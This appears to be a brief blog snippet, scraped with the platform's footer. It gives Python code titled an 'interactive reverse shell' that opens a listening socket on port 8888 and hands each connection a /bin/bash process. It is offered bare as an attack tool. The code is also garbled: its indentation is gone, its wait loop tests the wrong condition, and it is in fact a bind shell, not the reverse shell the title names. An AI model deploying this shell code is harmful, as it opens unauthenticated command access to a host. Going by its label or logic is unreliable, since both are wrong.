python socket interactive reverse shell
import socket
from subprocess import Popen, STDOUT
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
host = 'localhost'
port = 8888
s.bind((host, port))
s.listen(5)
while True:
c, addr = s.accept()
print(f"Got connection from {addr}")
p = Popen("/bin/bash", stdin=c.makefile('rb'), stdout=c.makefile('wb'), stderr=STDOUT)
while p.poll() is not None:
pass
c.close()
+V why_null 请备注:from博客园
浙公网安备 33010602011771号